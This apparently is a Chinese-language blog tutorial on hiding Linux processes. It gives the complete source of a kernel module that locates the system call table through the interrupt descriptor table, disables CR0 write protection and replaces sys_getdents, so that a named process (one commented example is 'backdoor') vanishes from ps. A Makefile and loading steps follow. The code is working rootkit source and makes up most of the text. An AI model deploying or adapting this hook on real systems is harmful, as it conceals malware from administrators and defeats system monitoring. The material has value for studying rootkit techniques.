實現隱藏進程一般有兩個方法:
1,把要隱藏的進程PID設置為0,因為系統默認是不顯示PID為0的進程。
2,修改系統調用sys_getdents()。
Linux系統中用來查詢文件信息的系統調用是sys_getdents,這一點可以通過strace來觀察到,例如strace ls 將列出命令ls用到的系統調用,從中可以發現ls是通過getdents系統調用來操作的,對應於內核里的sys_getedents來執行。當查詢文件或者目錄的相關信息時,Linux系統用 sys_getedents來執行相應的查詢操作,並把得到的信息傳遞給用戶空間運行的程序,所以如果修改該系統調用,去掉結果中與某些特定文件的相關信 息,那么所有利用該系統調用的程序將看不見該文件,從而達到了隱藏的目的。首先介紹一下原來的系統調用,其原型為:
int sys_getdents(unsigned int fd, struct dirent *dirp,unsigned int count)
其中fd為指向目錄文件的文件描述符,該函數根據fd所指向的目錄文件讀取相應dirent結構,並放入dirp中,其中count為dirp中返回的數據量,正確時該函數返回值為填充到dirp的字節數
下面是具體的實現代碼:
hidep.c
1 /* 2 進程隱藏程序 3 */ 4 #include <linux/module.h> 5 #include <linux/kernel.h> 6 #include <asm/unistd.h> 7 #include <linux/types.h> 8 #include <linux/sched.h> 9 #include <linux/dirent.h>//目錄文件結構 10 #include <linux/string.h> 11 #include <linux/file.h> 12 #include <linux/fs.h> 13 #include <linux/list.h> 14 #include <asm/uaccess.h> 15 #include <linux/unistd.h> 18 #define CALLOFF 100 19 int orig_cr0; 20 char psname[10]="just";//需要隱藏的進程名 21 //char psname[10]="backdoor"; 22 char *processname=psname; 23 24 //module_param(processname, charp, 0); 25 struct { 26 unsigned short limit; 27 unsigned int base; 28 } __attribute__ ((packed)) idtr;//__attribute__ ((packed))不需要內存對齊的優化 29 30 struct { 31 unsigned short off1; 32 unsigned short sel; 33 unsigned char none,flags; 34 unsigned short off2; 35 } __attribute__ ((packed)) * idt; 36 37 struct linux_dirent{//文件結構體 38 unsigned long d_ino;//索引節點號 39 unsigned long d_off;//在目錄文件中的偏移 40 unsigned short d_reclen;//文件名長 41 char d_name[1];//文件名 42 }; 43 44 void** sys_call_table; 45 46 unsigned int clear_and_return_cr0(void)//設置CR0,取消寫保護位,因為在較新的內核中,sys_call_table的內存是只讀的, 47 //所以要修改系統調用表就必須設置CR0 48 { 49 unsigned int cr0 = 0; 50 unsigned int ret; 51 52 asm volatile ("movl %%cr0, %%eax" 53 : "=a"(cr0)//eax到cr0 54 ); 55 ret = cr0;// 56 57 /*clear the 16th bit of CR0,*/ 58 cr0 &= 0xfffeffff;//設置CR0,第16位,WP(Write Protect),它控制是否允許處理器向標志為只讀屬性的內存頁寫入數據, 59 //0時表示禁用寫保護功能 60 asm volatile ("movl %%eax, %%cr0" 61 : 62 : "a"(cr0)//輸入,cr0到eax,eax到cr0 63 ); 64 return ret; 65 } 66 67 void setback_cr0(unsigned int val) 68 { 69 asm volatile ("movl %%eax, %%cr0" 70 : 71 : "a"(val)//val值給eax,eax的值給CR0,恢復寫保護位 72 ); 73 } 74 75 76 asmlinkage long (*orig_getdents)(unsigned int fd, 77 struct linux_dirent __user *dirp, unsigned int count); 78 79 char * findoffset(char *start)//遍歷sys_call代碼,查找sys_call_table的地址 80 { //也可以通過cat /boot/System.map-`uname -r` |grep sys_call_table 查看當前sys_call_table地址 81 char *p; 82 for (p = start; p < start + CALLOFF; p++) 83 if (*(p + 0) == '\xff' && *(p + 1) == '\x14' && *(p + 2) == '\x85')//尋找call指令 84 return p; 85 return NULL; 86 } 87 88 int myatoi(char *str)//字符串轉整型 89 { 90 int res = 0; 91 int mul = 1; 92 char *ptr; 93 for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) 94 { 95 if (*ptr < '0' || *ptr > '9') 96 return (-1); 97 res += (*ptr - '0') * mul; 98 mul *= 10; 99 } 100 if(res>0 && res< 9999) 101 printk(KERN_INFO "pid=%d,",res); 102 printk("\n"); 103 return (res); 104 } 105 106 struct task_struct *get_task(pid_t pid)//遍歷進程雙向循環鏈表,根據PID,查找需要隱藏的進程,並返回該進程控制塊 107 { 108 struct task_struct *p = get_current(),*entry=NULL; 109 list_for_each_entry(entry,&(p->tasks),tasks) 110 { 111 if(entry->pid == pid) 112 { 113 printk("pid found=%d\n",entry->pid); 114 return entry; 115 } 116 else 117 { 118 // printk(KERN_INFO "pid=%d not found\n",pid); 119 } 120 } 121 return NULL; 122 } 123 124 static inline char *get_name(struct task_struct *p, char *buf)//獲取進程名 125 { 126 int i; 127 char *name; 128 name = p->comm; 129 i = sizeof(p->comm); 130 do { 131 unsigned char c = *name; 132 name++; 133 i--; 134 *buf = c; 135 if (!c) 136 break; 137 if (c == '\\') { 138 buf[1] = c; 139 buf += 2; 140 continue; 141 } 142 if (c == '\n') 143 { 144 buf[0] = '\\'; 145 buf[1] = 'n'; 146 buf += 2; 147 continue; 148 } 149 buf++; 150 } 151 while (i); 152 *buf = '\n'; 153 return buf + 1; 154 } 155 156 int get_process(pid_t pid)//判斷是否找到隱藏進程 157 { 158 struct task_struct *task = get_task(pid); 159 // char *buffer[64] = {0}; 160 char buffer[64]; 161 if (task) 162 { 163 get_name(task, buffer); 164 // if(pid>0 && pid<9999) 165 // printk(KERN_INFO "task name=%s\n",*buffer); 166 if(strstr(buffer,processname)) 167 return 1; 168 else 169 return 0; 170 } 171 else 172 return 0; 173 } 174 175 asmlinkage long hacked_getdents(unsigned int fd, 176 struct linux_dirent __user *dirp, unsigned int count)//修改的系統調用,替換原來的sys_getdents 177 { 178 //added by lsc for process 179 long value; 180 // struct inode *dinode; 181 unsigned short len = 0; 182 unsigned short tlen = 0; 183 // struct linux_dirent *mydir = NULL; 184 //end 185 value = (*orig_getdents) (fd, dirp, count);//調用sys_getdents,返回該目錄文件下目錄的總字節數 186 tlen = value; 187 while(tlen > 0) 188 { 189 len = dirp->d_reclen;//當前遍歷的目錄的長度 190 tlen = tlen - len; 191 printk("%s\n",dirp->d_name); 192 193 if(get_process(myatoi(dirp->d_name)) ) 194 { 195 printk("find process\n"); 196 memmove(dirp, (char *) dirp + dirp->d_reclen, tlen);//覆蓋掉需要隱藏的進程 197 value = value - len; 198 printk(KERN_INFO "hide successful.\n"); 199 } 200 if(tlen) 201 dirp = (struct linux_dirent *) ((char *)dirp + dirp->d_reclen);//移到后面一個目錄,繼續查找是否有其他同名的需要隱藏的進程 202 } 203 printk(KERN_INFO "finished hacked_getdents.\n"); 204 return value; 205 } 206 207 208 void **get_sct_addr(void) 209 { 210 unsigned sys_call_off; 211 unsigned sct = 0; 212 char *p; 213 asm("sidt %0":"=m"(idtr));//獲取中斷描述符表地址 214 idt = (void *) (idtr.base + 8 * 0x80);//通過0x80中斷找到system_call的服務例程描述符項,一個中斷描述符8個字節 215 sys_call_off = (idt->off2 << 16) | idt->off1;//找到對應的system_call代碼地址 216 if ((p = findoffset((char *) sys_call_off)))//找到sys_call_table的地址 217 sct = *(unsigned *) (p + 3); 218 return ((void **)sct); 219 } 220 221 222 static int filter_init(void) 223 { 224 sys_call_table = get_sct_addr(); 225 if (!sys_call_table) 226 { 227 printk("get_act_addr(): NULL...\n"); 228 return 0; 229 } 230 else 231 printk("sct: 0x%x\n", (unsigned int)sys_call_table); 232 orig_getdents = sys_call_table[__NR_getdents];//保存原來的系統調用 233 234 orig_cr0 = clear_and_return_cr0();//取消寫保護位,並且返回原來的cr0 235 sys_call_table[__NR_getdents] = hacked_getdents;//替換成我們自己寫的系統調用 236 setback_cr0(orig_cr0); 237 printk(KERN_INFO "hideps: module loaded.\n"); 238 return 0; 239 } 240 241 242 static void filter_exit(void) 243 { 244 orig_cr0 = clear_and_return_cr0(); 245 if (sys_call_table) 246 sys_call_table[__NR_getdents] = orig_getdents;//恢復默認的系統調用 247 setback_cr0(orig_cr0); 248 printk(KERN_INFO "hideps: module removed\n"); 249 } 250 module_init(filter_init); 251 module_exit(filter_exit); 252 MODULE_LICENSE("GPL");
對應的makefile:
1 KERNELDIR=/usr/src/linux-headers-3.2.0-39-generic-pae 2 PWD:=$(shell pwd) 3 obj-m :=hidep.o 4 modules: 5 $(MAKE) -C $(KERNELDIR) M=$(PWD) modules 6 clean: 7 rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c *.order *.symvers
對應的測試程序,即要隱藏的進程: just.c
1 #include<stdio.h> 2 int main() 3 { 4 while(1); 5 return 0; 6 }
1,編譯並在后台運行程序 just.c,會發現內核給just.c隨機分配了一個PID
2,此時 用ps 命令,可以清楚看到 程序just的PID。
2,編譯hidep.c 生成模塊hide.ko
3,把模塊hide.ko,用命令 insmod 加載進內核
4,再次 用 ps 命令,發現之前的PID被隱藏
5,最后不要忘了rmmod掉hidep.ko,當然重啟后內核也會把它丟了,不過最好養成不用就卸載掉的習慣。